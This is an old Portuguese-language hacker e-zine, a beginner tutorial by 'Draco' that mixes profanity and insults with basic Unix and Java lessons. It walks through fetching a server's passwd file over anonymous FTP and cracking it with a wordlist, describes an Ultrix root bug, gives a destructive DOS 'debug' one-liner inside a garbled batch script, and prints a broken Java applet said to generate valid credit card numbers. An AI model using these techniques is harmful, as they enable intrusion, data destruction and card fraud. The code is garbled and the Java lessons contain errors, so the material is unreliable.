---------------------------------------------------------------------------------
|Sempre a nova Fw estar em www.geocities.com/ResearchTrangle/Lab/5408/main.html|
|Fale conosco jocker@angelfire.com                                              |                   
---------------------------------------------------------------------------------
                                   
                             #=>-BRASIL<=#

                                                           05/02/98
             fffffffffffff      ww                     ww
            ff                  ww                   ww    fuck,fuck
           ff                   ww                 ww      fuck,fuck
          ffffffff              ww      www      ww          all
         ff                     ww    ww ww    ww        constituition
        ff                      ww  ww    ww ww           FUCK WORLD
       ff                        www      www
                                                             2.0
                                                           Revisada

-=-=-=-=-=-=-#fuCKeR WoRlD bEgGinEr hAcKeR tUToRiAl vErSaO FiNaL#=-=-=-=-=-=-=

           Escrito por Draco

           Orgulhoso em ser brasileiro

           fuck, fuck, fuck, fuck, fuck, all constituition FUCK WORLD
           FUCK USA i hate USA

                         >>>>08#@ Introducao @#80<<<<

            Bom galera esta  Fucker World o mais novo e-zine a disposicao
            na rede ele e destinado as antas que nao sabem de merda nenhuma
            na verdade esta edicao  a uniao da edicao numero 1, 2 e 3 que
            estao rodando por ai.
            Um belo dia canssado de toda aquela filha da putagem tipica
            dos cornos que falam que nao omitem informacao eu resolvi
            escrever este e-zine na verdade vou trabalhar desde j no sistema
            me pergunta que eu respondo mas isto nao quer dizer que numca
            irei colocar coisas novas etc..
            Na verdade esta  minha intencao colocar sempre coisas novas e
            que possam ser entendidas por todos se alguem vier me perguntar
            o que  aquilo que eu nao entendi que voc escreveu eu quero
            que se foda s vou escrever faq's do que estiver realmente
            confuso.

                            =#$8>iNDiCE<8$#=

                           0-Comecando do ZERO >>Draco
                           1-O que esperamos alcanar? >>Draco
                           2-O que  tica? >>Draco
                           3-Agadecimentos >>Draco
                           4-Prticas iniciais >>Draco
                           5-Unix >>Draco
                           6-Tecnicas de programaao >>Draco
                           7-Programas >>Draco
                           8-Phreak >>Draco
                           9-Nuke >>Draco
                          10-Bombas >>Junglle Boy
                          11-Bonus - Se conectando completamente FREE >>Draco
                          12-Virus >>Draco
                          13-Espcies >>Draco
                          14-Vale a pena visitar >>Draco
                          15-Trojan >>Draco
                          16-Warez >>Draco

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                         0 %%>>Comecando do ZERO<<%%0

           Para comecar e sempre bom comecar do comeco sempre por baixo
           sendo humilde nao adianta querer fazer o que voc nao sabe
           que voc acaba se ferrando sempre sendo humildes pois como dizem
           devagar se vai ao longe mas como eu tenho prea vamos continuando
           a escrever.

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                     1 //**--O que esperamos alcanar?--**//1

           Com este tutorial esperamos alcancar uma ampla gama de "almas" que
           destinam seu tempo quase que exclusivamente para um pc.
           Esperamos calar a boca de todos os filhos da puta do canal #hack
           que pensam que brasileiro  uma pilha de esterco.
           Esperamos um dia poder ouvir um muleque dizendo "cara matei o papai
           Noel com aquela bomba maneira"
           Esperamos que TODOS que leiam este tutorial tenham a mente aberta
           e vou dizendo desde agora NAO somos hackers nao existem hackers
           existem pessoas com um grau de conhecimento elevado.
           Espero que TODOS os filhos da puta que deixam de omitir informacao
           porque acham que sabem muito mais que os outros se fodam e se o
           pensamento deles for "Ah sou um bosta e naum ensino nada para
           nimguem pq tenho o c na cabeca" quero que vocs se fodam vocs
           com certeza naum descobriram nada aprenderam tudo com a boa vontade
           dos outros que passaram horas se matando para escrever uma bosta a
           qual vocs entendessem assim como estamos fazendo agora.
           Nao se esqueca que nos partimos de um simples penssamento.

           "Hack  arte, a arte flui toda a arte flui em nossas veias pois o
           mundo seria muito sem graa sem a arte, a arte se aprende gostamos
           da arte ela movimenta o mundo."(Draco)

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                       2@@@$%>>O que  tica?<<%$@@2

           O porra eu to canssado de repitir NAO EXISTE UMA TICA a ser
           seguida faca o que der em mente naum tenham aqueles pensamentos de
           c que sao sempre os mesmos tipo "Nao aquele cara do chat  foda
           eu quero ser igual a ele acho que vou pedir para sermos amiguinhos"
           NAO SEJAM TAO INBECIS.
           Facam  o que der na cabeca se quiserem deletar tudo deleta e que se
           foda mas nao penssem que depois de lerem este e-zine vocs
           vao ser hackers calma comecessem sendo humildes nao fiquem me
           enchendo o saco para mandar programa eu vou deixar sempre um ender-
           eco onde vocs poderam pegar os programas se vocs nao o acharem
           se vira pela net tem alguns lugares muito boms onde se pode partir
           atrs de programas por exemplo uma busca por FTP ou nas pgina
           www.axur05.org ou na pgina que citei l em cima a primeira que
           aparece na revista.
           J vou dizendo desde j que eu nao tenho planos de
           fazer uma home page tanto que eu nao quero e tambm nao tenho
           tempo por isto ns estamos dependendo de voc leitor se voc gostar
           do nosso material passe para frente passe a seus amigos e assim por
           diante pois ns escrevemos para vocs entao faam algo por ns!
           Caralho pq tem tantos inbecis que deixam de omitir
           iformaao???????
           Citarei algumas causas.

           1-O pai dele junto com TODOS os seus tios comeram a bunda dele e
           depois enfiaram um tronco de rvore.
           2-Por um simples complexo de superioridade.
           3-Pq eles sao boys nojentos e adoram dance music.
           4-Pq eles sao fans de Rick Martin ou o novo Domin.

           Se voc se  encaixa em um destes requisitos  bom escrever

           c:\xxxxx>del fw0
           

          Mas se vocs querem apenas a informaao que deixou de ser omitida
          pelos inbecis continue lendo.

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>
                                     
                         3=**>>Agradecimentos<<**=3

           Gostaria de agradecer a TODOS que colaboraram conosco especialm-
           ente para meu grande amigo Dark Wizard que sinceramente e um dos
           meus manos que tenho mais estima. Queria agradecer aos filhos da
           puta que deixam de omitir informaao porque eles saum minha fonte
           de revolta. A todo governo capitalista nojento que um dia vai cair.
           A Dead Pool me incentivou para que eu voltasse a reescrever a FW ao
           red e a TODOS que me ajudam especialmente a ALANIS um beijo para
           ela.
           A todos de verdade e ao leitor OBRIGADO!

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>


                        4*//Praticas iniciais\\*4

          Cacete sempre me enssinaram e sempre me perguntam daquela tcnica
          imbecil de hackear pelo arquivo passwd.

          Bom eu vou lhes passar ela por aqui mas numca se esqueam eu aprendi
          ela a um bom tempo no e-zine 2600 alis tem ums caras por ai que dizem
          que foram eles que criaram mas  tudo copia de um faq famoso da 2600
          Mas sempre tem um que nao sabe entao ta aqui mas nao esquece pelo
          AMOR DE DEUS  ate onde eu sei a autoria e  da 2600 nao  de nimguem
          daqui certo.

          Bem para comear voc vai precisar saber o minimo de UNIX ou LUNIX
          pois ao estabelecer conexao com estes pc's remotos vai opera-los por
          este sistema alis para quem nao sabe o que  UNIX ou LINUX emfia
          o dedao do p no c e assovia o hino nacional mas sempre tem uma
          anta que nao sabe o que  entao vamos l !!!!!!

          UNIX ou LINUX sao a internet praticamente todos pc's que hospedam
          pages usam estes sistema tanto que at o sistema de diretorio na
          rede que opera com barra /  baseado nestes sistemas pois  o melhor
          sistema multi usuario que existe detalhe ou curiosidade sobre UNIX
          ele  uma coisa estranha pois o programa que gerou unix foi gerado
          por um programa que foi gerado pelo UNIX  como se voc nascese e
          depois transasse com uma mina e nascese seu pai!!!!!!!

                              Vamos ao que interessa!!!


          Para furar um sistema por FTP  facil voc vai no prompt do Dos
          vai estar assim:

C:\windows\> FTP (nome do servidor FTP no caso vamos usar o de dados da nasa)
C:\windows\> FTP ned.ipac.caltech.ed

          Ou para os lammers que nao vo conseguir usar o da nasa pois tem
          uma certa interface e mesmo pelo telnet nao vai consseguir usar
          muitos comandos pode-se usar o de uma universidade fuleira.
          

          A estas alturas voc estara  com a tela do seu pc deste modo

C:\windows\>FTP ned.ipac.caltech.ed
CONECTED to moon.nasa.org
Please login:

          Bem se voc nao tiver um programa FTP procura porque eu nao sou a
          biblioteca JUMBO de arquivos!!!!!
          LEMBRESE se o servidor que estiver atacando for o seu pode entrar
          com sua senha mais nao faz isto suas mulas porque fica tudo gravado
          l manjou se vocs estiverem no da geocities  ou qualquer outro
          coloquem no login exatamente isto.

C:\windows\> FTP ned.ipac.caltech.ed
CONECTED to moon.nasa.org
Please login: anonymous

          Ou seja voc vai entrar com o nick anonymous nao seja anta nao
          coloque seu nick como tipo:

Please login: Draco

          
          Entre sempre como anonymous logo aps vai aparecer 

C:\windows\> FTP ned.ipac.caltech.ed
CONECTED to moon.nasa.org
Please login: anonymous
Password:

          Coloque no password um e-mail qualquer mesmo se ele nao existir
          numca coloque o seu tipo: 

C:\windows\> FTP ned.ipac.caltech.ed
CONECTED to moon.nasa.org
Please login: anonymous
Password:jocker@angelfire.com

          Se voc fizer tudo certinho como boas crianas vai aparecer na sua
          tela uma menssagem de boas vindas tipo:

220------------------------------------------------------------
220 Bem vindo
220 Este  um servidor ftp do server xxxxxxxxxxx
220 Este lugar  muito legal tem um monte de merda
220 Tem browsers de 200 giga  so dar dowloads e falir seu pai com a conta de
220 telefone
220 Boa navegada se quiser me conhecer me manda um e-mail meu amigo quase
220 irmao
221 220 Assinado ROOT
222 230-------------------------------------------------------


          Se voc estiver usando o telnet  igual mas para acessar um servidor
          pelo telnet voc vai precisar de uma senha nao adianta por anonymous
          por isto  necessario usar primeiramente o metodo pelo FTP.

          O ROOT  o manda chuva do servidor ele pode fazer de tudo existe
          tambem os super usuarios que pode fazer quase tudo mas dentro do
          que lhe  permitido  e existe voc que a estas alturas  um bosta
          dentro do servidor  um merda um zero a esquerda e vc  classificado
          com um numero de 0 ate FFFF-1

          Sendo que 0  o numero do ROOT e os nmeros altos sao para os
          usuarios anonymous. 


          Vou enssinar para vocs ums comandos bsicos coisa de que qualquer
          um deve de saber.

          Para saber seu nmero digite ID

          Agora voc vai comear a viajar na mquina remota!!!!!!

          LS funciona para se ver os diretrios em algumas versoes funciona o
          dir

          Por exemplo voce est no server: 

220------------------------------------------------------------
220 Bem vindo
220 Este  um servidor ftp do server xxxxxxxxxxx
220 Este lugar  muito legal tem um monte de merda
220 Tem browsers de 200 giga  so dar dow loads e falir seu pai com a conta
220 de telefone
223 Boa navegada se quiser me conhecer me manda um e-mail meu amigo quase
220 irmao
224 220 Assinado aROOTo
225 230-------------------------------------------------------

c:FTP>LS
/bin
/usr
/etc
/home
/home2
message.user

          o sistema de dir do UNIX  com barra / mas  igual a o do DOS
          Digite o LS-1 (isso  um ele de linguia nao um numero um)
          vai aparecer umas bostas que voc nao entende.
          
          Tipo:

220------------------------------------------------------------
220 Bem vindo
220 Este  um servidor ftp do server xxxxxxxxxxx
220 Este lugar  muito legal tem um monte de merda
220 Tem browsers de 200 giga  so dar dow loads e falir seu pai com a conta
220 de telefone
226 Boa navegada se quiser me conhecer me manda um e-mail meu amigo quase
220 irmao
227 220 Assinado aROOTo oinc, oinc
228 230-------------------------------------------------------

c:FTP>LS
/bin
/usr
/etc
/home
/home2
message.user
c:FTP>LS -1

drw-r-r-    root root 10000 1 de abril etc
-rw-rw-r--      bin root      100   1 de abril  message.user




          Bom estes troos na esquerda  as bostas que voc pode fazer ou nao
          pode tipo:

          d- directory

          r - read -pode ler, dowload etc....

          w- write - pode editar gravar

          x - podese executar o arquivo  tipo ou exe ou bat do DOS
          (obs:Nao seja um lammer estpido nao coloque mails-bombs  a coisa
          de lammers mais cretina que existe deixem de ser crianas)
           
          Alis arquivos .exe do DOS nao roda no UNIX.

          Exemplo vamos prestar atenao nesta parte que se voc nao entender
          nem me pede para explicar porque eu nao vou explicar porra nenhuma
          porque eu to perdendo o maior tempo nesta porra de pc por sua causa
          e vou tentar fazer tudo ficar o mais facil possvel.

existem sempre 10 espaos

-     ---       ---     ---              root      root      10000     1 de abril    etc
^      ^        ^       
^      ^        ^
^      ^        ^
^      ^        ^--- o que o grounp pode fazer  
^      ^----Proximos trs espaos dizem o que o dono pode fazer 
^ -----Primeiro espao diz se  diretorio ou nao
O primeio espao diz se  diretorio ou nao 

          Os prximos trs espaos  o que o proprietario do arquivo pode
          fazer ou nao.

          Tipo no caso do exemplo que dei do arquivo message.user o proprieta-
          rio  bin e ele pode ler (R)  e escrever (w).


          Os ultimos trs  o que um bosta como voc pode fazer!!!!!


          Agora procura o arquivo passwd e puxa ele po seu pc e nao me
          pergunta como faz isto se vira descobre  mais facil do que cagar!!

          Aps isto voc vai precisar de um descriptador de senha porque se
          penssa que j est com a bosta da senha nao est nao arranja o
          crack jack para meus camaradas eu posso at arranjar mas se voc for
          outra pessoa nem me enche!!!

          Aps isto voc precisara de uma WORD LIST pode-se pegals em uma HP
          hacker ou pode-se fazer para fazer coloque o nome de tudo que voc
          conhece em uma lista tipo:


          Alou
          Z
          Joao
          Excalibur
          Conho
          Maconha
          Maria
          Julieta
          Iris
          Camarao
          Alemao


          Entendeu?

          Da voc entra no diretrio do crack jack e chama o programa vai
          estar mais ou menos assim:

C:\xxxx\> jack
PWFILES:  passswd
Word File: nome da sua WORD list

          Agora espera bastante mas espera mesmo porque vai demorar pode bater
          punheta dormir porque DEMORA MESMO.

          A cada sinal  uma senha quebrada!!!!!!

          BINGO 

          Mais seja humilde sabendo isto voc nao  um hacker somente
          adquiriu conhecimento pois:

          O mestre nao  aquele que enssina  quem adquiri conhecimento .

          Comece por lugares pequenos como ums provedores novos bostas por ai

                                  Ultrix 4.2 BUG
                                 escrito por Krynn
 

          Um bug foi descoberto no Ultrix 4.2 upgrade version.  Envolve o
          npasswd, e root.  

          Sys Admin's username:  mradmin
          Any user's username :  mruser

          Bem, mruser tinham esquecido seus password. Os Mruser foram para
          mradmin e perguntaram mradmin esqueci meu password qual meu newpass.

          Mradmin agora vai e refaz o novo password do mruser, e salva em
          npasswd.  Ele entrara com o novo mruser's e o novo password,
          newpasswd.  Ele est em /etc/passwd este mruser's password
          esta em "*" (shadowed), ele esta bem guardado mas pode nao estar.

          O password guardado estava com root's, mas root's password agora
          para newuser.

          Para pegar via anonymous FTP:

black.ox.ac.uk /src/npasswd.enhanced.shar.Z

Servidor qualquer /src/npasswd jpl.tar.Z

          Fodendo programas Windows via MS DOS

          Antes que algum estupido me fale " so escrever deltree windows"
          quero dizer que  um outro comandinho muito mais legal mas eu parti
          dele para fazer o que sei hoje pois com ele voc vai comear a ter
          nooes de qbasic o que  muito importante mas antes que alguem fale
          que nao se usa mais qbasic eu repito "VAMOS COMEAR DO ZERO POIS
          NIMGUEM NASCEU SABENDO"

          O negocioio  este:

          echo f 0:0 ffff |debug

          Mas ai  que est que coisa mais tonta realmente eu concordo este 
          o comando mais inbecil que existe mas  tambm usado em uma porrada
          de vrus existentes no mercado.

          Voc pode montar um programinha em q-basic para fazer este comando
          rodar tipo:

          Edita um arquivo .bat

 Open arquivo$ append lock read write
 cls
 echo f 0:0 ffff |debug

 write #1 hahahahah
 close #1
 line
 loop until (EOF(1))

          Pronto voc acaba de fazer um pequeno programinha que destroi
          arquivos do windows mas o que quero lhes passar perante este misero
          programinha  que nao fiquem presos aos comandos que eu estou lhes
          dando temtem por si ss fazer o programa para quem nao sabe nada de
          qbasic  s cutucar no qbasic chamando o help dele voc pode
          aprender muita coisa.
          
          Porque nao adianta eu passar um monte de coisas aqui que voc nao
          vao aprender nada de nada vamos comear aos poucos que chegaremos
          muito longe.

          Ai galera que manja e esta lendo isto nao penssem que eu sou um
          bosta mas como j disse se nao comearmos do zero a gente pode se
          foder correto me diga quem numca brincou no nicio de tudo com isto?

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                              5>>>Unix<<<5
                           escrito por creative
                                   
          Aqui vamos lhe passar alguns comandos basicos de linux e unix 
          e se depois que voc ler est  porra nao aprender voc  um perfeito
          idiota e lembre: "Comandos basicos"..

          Antes de tudo

          Por que as pessoas Gostam do unix???
           
          Por que deveria executar o unix??Boa pergunta...

          O que voc tem agora funciona Nao ?? Ou talvez nao..Talvez voc
          esteja apenas desejando algo diferente ou esteja cansado do limite
          de memoria de 640K , embora tenha 20 MB de RAM...Agora leia ,
          preste a atenao e decore estes comandos que vamos lhe passar :

.rm = remove arquivos, mesmo que o 'del' no DOS
.cp = copia arquivos, mesmo que o 'copy' no DOS
.cat = mostra o conteudo do arquivo, mesmo que o 'type' no DOS
.more = exibe o conteudo de um arquivo pagina a pagina, mesmo q no DOS
.pwd = exibe o diretorio atual (o que vc esta)
.rmdir = apaga diretorio
.mkdir = cria diretorio
.clear = limpa a tela, mesmo que 'cls' no DOS
.who = mostra quem estah na maquina no momento
.whoami = mostra quem voce eh - util quando vc esquece com q login entrou... ;)
.finger = mostra o usuario associado a certa chave
.df = mostra o espaco usado, livre e a capacidade das particoes do HD
.free = exibe a memoria livre, a usada, e o buffers da memoria RAM
.exit e logout = sai da sessao atual

'ls' = lista o diretorio, mesmo que o dir no DOS
'ls -la' = lista o diretorio com as definicoes de cada arquivo

          Outra coisa: os nomes de arquivos nos sistemas *X (Unix, linux, etc)
          nao precisam ter so 8 letras.
          Dai, se voc quer listar
          os arquivos comeados com u, por exemplo, peca ls u* e veja o
          resultado.

* substitui qualquer conjunto de caracteres
? substitui caracteres isolados
tar (tape archive) programa de geracao de backup
tar -c gera backup
tar -x restaura backup
tar -v lista cada arquivo processado
tar -t lista o conteudo de um backup

          Nota: Para descompactar arquivos .tar.gz (ou soh .tgz ou tar.z),
          use:

# tar zxpvf <nome_do_arquivo>
Se o arquivo for soh .gz vc usa o gzip:
# gzip -d <nome_do_arquivo>

chmod - muda as permissoes do arquivo/diretorio
chown - muda as permissoes do arquivo/diretorio

          Estes sao os bsicos para voc que  um novato nao devia deixar de
          saber.
          Esses comandos sao tipo de Dos e ainda colocamos do lado o que 
          ele fazia no DOS entao se voc nao entedeu nada , mas perfeitamente
          nada .....SE MATA$...
 

          Entendendo melhor o UNIX

          Bem o Creative vai lhes dar uma breve introduao sobre shell e eu
          vou completar com algumas lorotas sobre UNIX embora eu esteja
          penssando firmemente em trocar esta seao de UNIX por uma de NOVELL
          ou uma que oscile em sistemas operacionais, descriptaao, e redes
          pois mexer em UNIX e tao f cil quanto mexer em DOS.


          CONHECENDO O SHELL 


          O "shell" e um interpretador de comandos (interpreta os comandos
          inseridos pelo teclado), ou seja, prove a interface entre o usuario
          e o sistema operacional. Em muitos sistemas o interpretador de
          comandos e uma parte da estrutura interna do S.O.. No Unix porem, o
          "shell" e um programa como outro qualquer, alem de ser uma lingua-
          gem de programaao sofisticada (scripts em shell), que ser visto
          mais adiante. Existem diversos tipos de "shell" como o /bin/sh
          ("Bourne Shell"), /bin/ksh ("Korn Shell") e o /bin/csh ("C Shell").
          OBS.: No Unix espanos em branco, letras maiusculas e minusculas sao
          extremamente importantes. Ex.: o comando "echohello" e diferente de
          "echohello" e de "ECHOhello" (os dois ultimos errados).

          Bom hlera chegou minha vez e quer saber de uma coisa eu nao tenho
          porra nenhuma para colocar sobre UNIX nesta merda alis da baixa
          na axur 05 e pega o e-zine deles porque tem uma porrada de coisa
          sobre unix la e eu nao vou ficar digitando tudo de novo porra.

          Se voc manja o minimo de Novell ou sabe at que alguma coisa email
          na gente certo?

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                       6>#@<Tecnicas de programaao>@#<6
                                      
          Eu nao pretendo fazer vocs de imediato grandes programadores mas
          com o passar do tempo vocs vao estar bem familiarizados com tudo
          isto muitos dizem que  necessario aprender alm do qbasic, que eu
          acho muito importante ter nooes de qbasic ou seja alem de qbasic
          saber cobol e delphi.
          Eu aprendi JAVA sozinho JAVA foi a primeira linguagem depois de
          qbasic que eu aprendi.

          Do mesmo modo que eu apredi JAVA sozinho eu vou enssinar o que sei
          acho que quando estivermos l pelo nmero trocentos do TUTORIAL
          vocs j poderao fazer alguma coisa que presta vamos la pois tudo
          tem nicio do nicio (Putz que forada)

          PELO AMOR DE DEUS DEPOIS DE LEREM ISTO NAO PENSSEM QUE J PRORAMAM
          EM JAVA PORQUE O QUE EU VOU PASSAR E O BASICO DE TUDO QUE SE CONHECE
          COMO JAVA POR FAVOR NAO FASSAM BOSTA PORQUE COM CERTEZA VOCE
          CONTINUARA SENDA MAIS BURRO DO QUE JA .

          Aqui est o primeiro programa JAVA.

----------------------------------Recorte-------------------------------------

 class HelloWorld {
     public static void main (String args []){
            System.out.println("Oi, Mundo!");
               }
                }

-----------------------------------final--------------------------------------

          PASSO A PASSO

          LINHA 1

          class HelloWorld

          Esta linha utiliza a palavra reservada class para declarar que uma
          nova classe ser  definida aqui. HelloWorld  um indentificador
          vlido que usaremos para identificar a classe. As chaves incluem o
          cdigo de todo o programa.

          LINHA 2

          public static void main (String args[]){

          A segunda linha deste programa simples  complicada pela estrutura
          de JAVA que diz que nao a funoes globais, somente classes.

          public

          Em primeiro lugar este  um especificador de aceso, que permite
          ao programador controlar a visibilidade de cada usuario. Neste caso
          indica que qualquer classe poder  ver o metodo main existe dois
          outros tipos de especificadores de acesso que sao private e
          protected que em outras edioes abordaremos com mais detalhes.

         static

         Os metodos e as variveis que se aplicam a uma classe em oposiao
         a uma instancia daquela classe podem ser declarados static. Isto
         permite que o metodo seja chamado sem ter de instanciar uma
         determinada instancia da classe no caso de main  necessario
         declarar que ela  static uma vez que ela  chamado pelo
         interpretador antes que qualquer instancia seja feita.

         void

         Voc usar muito os metdos que retornam algum valor de algun tipo
         especfico tais como int para valores integrais, float para valores
         de nmeros reais ou o nome da classe para retorno de valores mais
         complexos.

         main

         Frizando que JAVA  sensivel a letras maiusculas e minsculas de modo
         que main  uma coisa e Main e outra.
         Nao a nada de especial em main exceto que o JAVA vai procurar um
         metodo com este nome para interpretar uma classe.

         LINHA 3

         System.out.println("Oi, Mundo!");

         Esta linha executa o metdo println em out, que  uma instncia de
         OutuputStream que foi estaticamente inicializada na classe System
         O mtodo println de OutuputStream imprime a string no lugar que o
         sistema no qual o JAVA esteja rodando considere como seu padrao
         para gravar a saida.

         A nica chave da linha 4 encerra o metodo main e a chave da
         linha 5 encerra a definiao para a classe HelloWorld.

         Bom da para vocs terem uma idia de como tudo funciona e de como
         irei explicar JAVA para vocs por meio de programas "debulhados".

         Vao matutando estas regras bsicas e tudo mais que vocs vao ver
         como as coisas vao comear a fluir na mente de vocs se vocs
         quiserem saber mais sobre JAVA para aqueles que nao tem pacincia de
         esperar pelos prximos nmeros da revista eu recomendo que compre
         alguns livros em qualquer,lugar eu j vi para vender at no Sebo.

         Este  o segredo ler, ler abre a mente aprendam ingls ou sueco pois
         as coisas legais estao todas nestas linguas e comprem livros para
         aprimorar o conhecimento de vocs.
                                      
         Bom galeral deu pra vocs perceberem ou terem uma noao do que pode
         ser feito com java embora o que eu lhes tenha passado e um tanto
         quanto banal e basico demais mas agora vou colocar um programinha um
         pouco melhor um baratinho com algumas variveis, mas vamos l pois
         somente com muita prtica nos consseguiremos fazer alguma coisa
         neste mundo e nao se esqueam pois com estes comandos INBECIS vocs
         nao sao programadores s sabem um pouco mais sejam humildes
         PELO AMOR DE DEUS.

---------------------------------Corta----------------------------------------

       class Variables {
         public static void main (String args{})(){
         double a=3
         double b=4
         double c;

         c=Math.sqrt (a*a+b*b);
         System.out.println (c"="+c);
         }
               }

--------------------------------Final-----------------------------------------

         Como voc pode ver neste exemplo ele  muito semelhante com o nosso
         primeiro "Oi, mundo" fizemos um codigo ligeiramente complicado nas
         linhas 3 e 4 e declaramos duas variaveis locais, a e b,

         Declarando uma variavel

         A forma bsica de declarar uma vriavel :

         tipo do identificador [=valor] [,identificador [=valor]...];

         O tipo e um byte, short, int, long, char, float, double, boolean
         ou o nome de uma classe ou interface. Vou lhes passar estas mer-
         dinhas no prximo nmero. Aqui estao varios exemplos de decla-
         raao de vriavel

           ----------------------------------------------------------------
           |int a, b, c;       |Declara tres inteiro a, b, c              |
           |-------------------|------------------------------------------|
           |int d= 3, e, f= 5; |Declara mais 3 ints, inicializando d e f  |
           |-------------------|------------------------------------------|
           |byte z =22;        |inicializa z                              |
           |-------------------|------------------------------------------|
           |double pi = 3.14159|Declara pi nao muito preciso mas pi       |
           |-------------------|------------------------------------------|
           |char x "x";        |A variavel tem o valor "x".               |
           ----------------------------------------------------------------

         Separadores

         Ha apenas algumas sequencias de caracteres que podem aparecer em
         um programa jav_a sintaticamente correto eles saum poucos vou os
         listar abaixo.

           -----------------------------------------------------------------
           |() |parenteses     |Contem metodos contem espressaum para cont-|
           |   |               |le de fluxo                                |
           |---|---------------|-------------------------------------------|
           |{} |chaves         |Contem "arrays" inicializando-os automatic-|                                           
           |   |               |amente tb usada para classes, metodos e es-|
           |   |               |copos locais                               |
           |---------------------------------------------------------------|
           |[] |colchetes      |Usados para declarar tipos de matrizes tb  |
           |   |               |usados para diferenciar tipos de "arrays"  |
           |---------------------------------------------------------------|                                                                        |                                           |
           | ; |ponto-e-virgula|Separa declaraoes                         |
           |-------------------|-------------------------------------------|
           | , |virgula        |Separa indentificadores consecutivos em uma|
           |   |               |declaraaum de variavel                    |
           |---|---------------|-------------------------------------------|
           | . |ponto          |Usado para separar nomes e pacotes subpaco-|
           |   |               |tes em classes ou para separar uma variavel|
           |   |               |ou metodo de uma variavel                  |
           |---|---------------|-------------------------------------------|

         Identificadores

         Pode ser qualquer sequencia descritiva de caracteres de letras
         minusculas, numeros , caracteres sublinhados e simbolo de cifraum

         Tipo simples

         Em linguagem de programacao tipos simples sao voltados para objetos
         mas em java sao para analogos do tipo numeros inteiros, pontos
         flutuantes, caracteres e valores booleanos.

         Java tem oito tipos simples:

         byte

          um tipo com sinal 8 bits tem faixa entre -128 e 127 e bem utilizado
         quando voc ten um stream de byte.

         short

          um tipo com sinal 16 bits tem faixa entre -32768 e 32767.  o tipo
         menos usado uma vez que ate a industria dos games abandonou as
         plataformas 16 bits a muito tempo.

         int

          um tipo com sinal 32 bits tem faixa entre -2.147.483.648 e
         2.147.483.647 mais usados para armazenar valores inteiros simples
          otimo na maioria das matrizes e contagens.

         long

          um tipo com sianl 64 bits tem faixa suficiente para contar cada
         atomo do universo

         float

         Usa 32 bits para precisao simples pessimo para numeros muito altos
         ou muito baixos.

         double

         A precisao dupla usa 64 bits ela e mais rapida do que a precisao
         simples em alguns processadores otimizados para calculos matematicos.

         Booleanos

         Um tipo simples para valores logicos  boolean ele pode ter dentre
         dois valores possveis true ou false que sao palavras reservadas.

         Na proxima edicao vamos trabalhar com arrays operadores e controle
         de fluxo.
         Para adquirir o JDK - Java development Kit v ate
         http://java.sun.com se voc consseguir adquirir o DIVA email na gente
         Se voc conhece uma linguagem de programacao e gostaria de colaborar
         com o mundo underground email na gente!

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                           7^:|__ Programas__|:^7 

          Esta secao esta destinada a todos os programas boms que ns adquir-
          imos ou desenvolvemos com o passar dos tempos se voc tem um bom
          programa e gostaria de distribuilo para o nosso mundo email na gente.
          Hoje vao alguns programas dois de minha autoria sao:

          PMC - Plastic Money Carcker by Draco
          FWB - Fucker World Browser by Draco
          GUESS - GUESS by Dark Wizard
          Anonymous Mail- Anonymous Mail by Sir Kacklot
          Gravaserv - Gravaserv by anonymous

          PMC - Plastic Money Cracker by Draco escrito em java programa que
          gera cc's totalmente vlidos.

--------------------------------Corta-----------------------------------------

import java.awt .*;
import java.applet .*;

public class PMC extends Applet{

public void init () {

int width=Integer.parseInt
(getParameter("width"));
int height=Integer.parseInt
(getParameter("height"));

f.resize(width, height);

Menubar mbar= new MenuBar();
f.set MenuBar (mbar);

Menu file=new Menu ("Ajuda");


file.add(new MenuItem("FW..."));{

public void init(){
int width=Integer.parseInt
(getParameter("width"));
int height=Integer.parseInt
(get  parameter ("height"));


String val="FW  um tutorial hacker para iniciantes\n"
"Partimos do principio que voc  um completo inbecil e no sabe de porra nenhuma\n"
"Voc pode contatarnos em www.angelfire.com/ri/jocker ou"+
" jocker@angelfire.com\n"
"fuck, fuck, fuck, fuck all constituition FUCK WORLD\n"
"I HATE USA\n"
"Orgulhosos em sermos BRASILEIROS\n\n";

Textarea Text=new text Area (val,80,40);
f.resize(width, height);
f.add("CENTER" , Text);
f.show ();}

file.add (new MenuItem ("Ajuda...");

public void init(){
int width=Integer.parseInt
(getParameter("width"));
int height=Integer.parseInt
(get  parameter ("height"));


String val="Para usar o programa PMC - Plastic Money Cracker\n"
"Digite um nmero qualquer em cada espao e click em OK\n"
"Pronto  so e voc ter nmeros de carto de crdito totalmente vlidos\n\n";


Textarea Text=new text Area (val,80,40);
f.resize(width, height);
f.add("CENTER" , Text);
f.show ();}


ile.add (new Menu Item ("Sobre...");

public void init(){
int width=Integer.parseInt
(getParameter("width"));
int height=Integer.parseInt
(get  parameter ("height"));


String val="PMC - Plastic Money Cracker verso 0.0 beta\n"
"Use este simples programa para obter nmeros de carto de"+
"crdito totalmente vlidos\n"
"Draco 1997\n"
"fuck, fuck, fuck, fuck all constituition FUCK WORLD\n"
"jocker@angelfire.com www.angelfire.com/ri/jocker\n"
"Orgulhosos em sermos BRASILEIROS\n"
"No nos responsabilizamos por merdas feitas por voc ou pelo programa\n"
"PMC - Plastic Money Cracker by Draco 1997\n"
"Sintase livre em distribuilo ou alterar seu conteudo respeitando o autor.


Textarea Text=new text Area (val,80,40);
f.resize(width, height);
f.add("CENTER" , Text);
f.show ();}

mbar. add (edit);

{public static void main (String args{})
(){

double a=4920;

byte b= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
